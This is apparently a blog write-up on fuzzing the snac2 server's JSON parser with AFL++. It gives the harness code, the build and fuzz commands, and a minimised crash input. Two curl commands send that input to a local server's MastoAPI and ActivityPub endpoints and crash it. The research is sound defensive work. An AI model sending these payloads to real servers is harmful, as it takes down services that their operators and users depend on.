Instead of manually inspecting the source code further, I've decided to employ a technique known as fuzzing in order to find inputs that may crash the parser (located in xs_json.h). If you're not familiar with fuzzing, it's essentially a method for testing code by supplying it with randomly generated inputs. In the most basic case, piping /dev/urandom to a program and waiting for it to crash is a very primitive form of fuzzing.
However, for more complex programs, just piping /dev/urandom to a program is going to be very inefficient, and will most likely take a very long time to detect some more complex patterns leading to crashes. Therefore, dedicated fuzzing programs such as AFL++ generate new inputs by using an initial corpus of valid inputs, which are continuously mutated through multiple strategies, employing a relatively complex genetic algorithm. Moreover, by employing compile-time binary instrumentation, a set of modified compilers can insert AFL-specific instructions, that can inform the fuzzer on how many functions and code paths are reached with a given input. Ultimately, this approach allows fuzzers to test as many available code paths as possible. This approach is so powerful, that even with a very trivial input corpus, AFL++ can start pulling JPEGs out of thin air when fuzzing a complete JPEG parser.
In snac2 project, I've decided to fuzz the xs_json_load function, which parses JSON data stored as a file (the fact that internally snac2 treats all data streams as FILE pointers is pretty fascinating too). In order to do that, I had to prepare a fuzzing harness - a very simple program which exposes the tested function to the fuzzer. In case of AFL++, I just needed a simple C program which reads a file path from argv[1], opens it, passes it to the parser, and then frees the result:
#include <stdio.h>
#define XS_IMPLEMENTATION
#include "xs.h"
#include "xs_json.h"
int main(int argc, char **argv) {
if(argc < 2) return 0;
FILE *f = fopen(argv[1], "r");
xs_val *root = xs_json_load(f);
if (root) {
xs_free(root);
}
fclose(f);
return 0;
}
In order to utilize AFL's binary instrumentation, I had to use a wrapped C compiler to create a binary. Assuming that we're conducting our research in a subdirectory within snac2's source tree:
afl-clang-fast -I.. fuzz_xs_json.c -o fuzz_xs_json
Afterwards, I've put a simple test case ({"company": "a", "year": 2024}) in the input directory and launched the fuzzer:
afl-fuzz -i input -o findings -- ./fuzz_xs_json @@
Within minutes, I've started seeing first crashes in findings/default/crashes directory, which I've managed to promptly confirm. Among some of the simpler detected cases, there's this one:
[
"TSo\u0 So\uF So\uFcccccc
Ag {
After a few minutes of tinkering, I've simplified the above test case to a much cleaner form (confirming that \u0000 is the reason behind the crash):
["", "dummy\u0000..........................AAAAAA
Ultimately, in order to confirm that it's a real crash, and not just something involving my fuzzing harness, I've decided to test this payload on a real, locally hosted snac2 server, by sending this to a MastoAPI endpoint (immediately crashing the server):
curl -X POST -H "Content-Type: application/json" http://localhost:8001/api/v1/WHATEVER -d '["", "dummy\u0000..........................AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
After modifying the payload a bit, I've got the server to crash with standard ActivityPub endpoints as well:
curl -X POST -H "Content-Type: application/activity+json" http://localhost:8001 -d '["", "dummy\u0000.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", ""]'
0 Comments
Log in to join the conversation.No comments yet. Be the first to share your thoughts.